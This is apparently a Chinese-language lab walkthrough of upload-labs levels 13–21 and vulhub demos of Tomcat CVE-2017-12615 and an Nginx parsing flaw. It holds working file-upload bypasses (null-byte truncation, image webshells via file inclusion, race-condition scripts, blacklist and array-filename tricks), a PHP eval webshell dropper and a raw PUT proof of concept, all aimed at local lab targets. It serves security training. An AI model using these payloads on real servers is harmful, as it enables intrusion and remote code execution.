upload-labs第13-21关
1. pass13(post%00截断)
通过源码分析,保存路径是以post方式提交的,故可以post%00截断绕过。
提交抓包,修改参数
%00要使用url编码
上传成功:
2. pass14(文件包含漏洞)
图片马制作:
copy 2.jpg /b + shell.php /a webshell.jpg
通过源码分析,改关是检查文件头信息进行判断。
且此关是文件包含漏洞。是GET传参,参数是file。
上传一张有马的图片。查看图片地址。
构造payload:
http://127.0.0.1/upload-labs/include.php?file=upload/7020210808175852.jpg
成功执行。
3. pass15(文件包含漏洞)
查看源码:
发现php函数getimagesize(),此函数限制上传的仅为图片文件。
绕过方法与14关一至。
4. pass16、17(文件包含漏洞)
16关源码中有内置函数:exif_imagetype()
17关源码中有内置函数:imagecreatefromjpeg()、imagecreatefrompng()、imagecreatefromgif()
均限制了上传文件类型。均需用文件包含漏洞绕过,方法与14、15关类似。
5. pass18(条件竞争)
- 条件竞争漏洞
条件竞争漏洞是一种服务器端的漏洞,是由于开发者设计应用程序并发处理时操作逻辑不合理而造成。当应用面临高并发的请求时未能同步好所有请求,导致请求与请求之间产生等待时出现逻辑缺陷。该漏洞一般出现在与数据库系统频繁交互的位置,例如金额同步、支付等较敏感操作处。另外条件竞争漏洞也会出现在其他位置,例如文件的操作处理等。
首先将文件上传到服务器,然后检测文件后缀名,如果不符合条件,就删除。
源码分析:
服务器先将上传的文件进行暂存,在判断是否符合条件,符合就重命名进行保存。
准备shell代码,保存为shell.php:
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST['x'])?>');?>
在准备一个python脚本:
import requests
url = "http://127.0.0.1/upload/shell.php"
while True:
html = requests.get(url)
if html.status_code == 200:
print("OK")
break
else:
print("NO")
上传,抓包
发送到intruder模块
清除positions中的所有选项
payloads中设置无期限的重复。
开始攻击,共攻击的同时,运行python文件。
成功:
蚁剑连接测试:
6. pass19(条件竞争)
第19关仍然是条件竞争问题。
直接抓包进行攻击:
增加X-Forwarded-For:
设置payloads:
开始攻击,同时不断访问http://127.0.0.1/upload-labs/upload/shell.php,
出先报错即可。
7. pass20(文件夹问题)
查看源码:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
$file_name = $_POST['save_name'];
$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);
if(!in_array($file_ext,$deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
}else{
$msg = '上传出错!';
}
}else{
$msg = '禁止保存为该类型文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
这里使用post进行修改文件名操作
这里对文件名进行黑名单过滤,我们采用.php/.来绕过黑名单。
move_uploaded_file()函数会过滤掉文件末尾的/.再上传到服务器中。
抓包修改:
上传成功;
8. pass21(数组接受+目录命名问题)
查看源码:
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
//检查MIME
$allow_type = array('image/jpeg','image/png','image/gif');
if(!in_array($_FILES['upload_file']['type'],$allow_type)){
$msg = "禁止上传该类型文件!";
}else{
//检查文件名
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}
$ext = end($file);
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上传该后缀文件!";
}else{
$file_name = reset($file) . '.' . $file[count($file) - 1];
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$msg = "文件上传成功!";
$is_upload = true;
} else {
$msg = "文件上传失败!";
}
}
}
}else{
$msg = "请选择要上传的文件!";
}
可看出这是白名单限制。
通过检查MIME信息中的文件后缀在白名单中则上传,否则报错。
此部分将文件名分成3部分组成一个数组,例如将"xx.jpg"分为:"xx"、"."、"jpg"三部分
我们抓包将.php/.jpg分三部分修改即可绕过
中间件漏洞
Tomcat上传漏洞
- CVE-2017-12615vulhub靶场演示
配置环境:
docker-compose build
docker-compose up -d
访问8080端口:
基本原理:
Tomcat设置了写权限(readonly=false),导致我们可以向服务器写入文件。
<servlet>
<servlet-name>default</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>listings</param-name>
<param-value>false</param-value>
</init-param>
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
POC
直接发送以下数据包,shell就会写入Web根目录。
PUT /1.jsp/ HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
shell
访问:http://192.168.0.105:8080/1.jsp?pwd=023&i=id
搭建平台解析漏洞
常见搭建平台解析漏洞如下图:
Nginx上传解析漏洞vulhub演示
启动靶场环境
docker-compose up -d
由数据包显示,是Nginx搭建平台,可考虑使用Nginx解析漏洞。
xx.jpg/xx.php 可将jpg文件当做php执行。
上传有马的图片
然后访问:http://192.168.0.105/uploadfiles/a7c3ce076585477741d951d179ab07dc.jpg/sds.php
成功解析。